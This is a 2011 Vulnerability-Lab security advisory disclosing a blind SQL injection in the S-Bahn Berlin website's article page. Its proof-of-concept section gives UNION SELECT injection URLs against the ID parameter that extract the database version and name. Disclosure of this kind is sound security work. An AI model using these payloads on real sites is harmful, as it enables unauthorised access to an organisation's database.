S Bahn VB Berlin - Remote SQL Injection Vulnerability

Document Title:
===============
S Bahn VB Berlin - Remote SQL Injection Vulnerability



Release Date:
=============
2011-08-15


Vulnerability Laboratory ID (VL-ID):
====================================
168


Product & Service Introduction:
===============================
S-Bahn Berlin GmbH - Nahverkehrs-Dienstleister Ein modernes Verkehrsunternehmen für die Region Berlin und Brandenburg.
Durchschnittlich 1,3 Millionen Fahrgäste nutzen täglich die Berliner S-Bahn. Die S-Bahn Berlin GmbH ist 
eine 100-prozentige Tochter der DB Mobility Logistics AG, in der die Mobilitäts- und Logistikaktivitäten 
des DB-Konzerns zusammengefasst wurden. Am 1. Januar 1995 wurde sie als GmbH gegründet und ist seit 2004 
dem Geschäftsfeld DB Stadtverkehr zugeordnet.Die S-Bahn Berlin GmbH ist ein modernes und kundenorientiertes 
Unternehmen, das auf eine lange Tradition zurückblickt. Seit nunmehr fast 84 Jahren ist die Berliner S-Bahn 
integraler Bestandteil des leistungsfähigen Nahverkehrssystems in der Hauptstadtregion.

(Copy of the Vendors Homepage: http://www.s-bahn-berlin.de/)


Abstract Advisory Information:
==============================
An anonymous laboratory researcher discovered a blind SQL Injection vulnerability on the official S-Bahn Verkehrsbetriebe Berlin Website (DB).


Vulnerability Disclosure Timeline:
==================================
2011-08-15:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A SQL Injection Vulnerability is detected on S-Bahn VB Berlin website. An unsecure parameter request allows a 
remote attacker to implement/execute own sql statements via sql-injection.

Vulnerable Module(s):
								[+] artikel_anzeige

Vulnerable Para:		
								[+] ID=



Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

Path:		/aktuell/
File:		artikel_anzeige.php
Para:		?ID=

Pictures:
				../sql1.png


http://www.s-bahn-xxx.de/aktuell/artikel_anzeige.php?ID=-2031 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,version(),31,32,33,34

http://www.s-bahn-xxx.de/aktuell/artikel_anzeige.php?ID=-2031 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,
17,18,19,20,21,22,23,24,25,26,27,28,29,database(),31,32,33,34


Solution - Fix & Patch:
=======================
2011-04-30


Security Risk:
==============
The security risk of the remote sql injection vulnerability is estimated as critical.


Credits & Authors:
==================
Vulnerability Research Laboratory -  N/A Anonymous


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    [email protected] 	- [email protected] 	       - [email protected]
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact ([email protected] or [email protected]) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory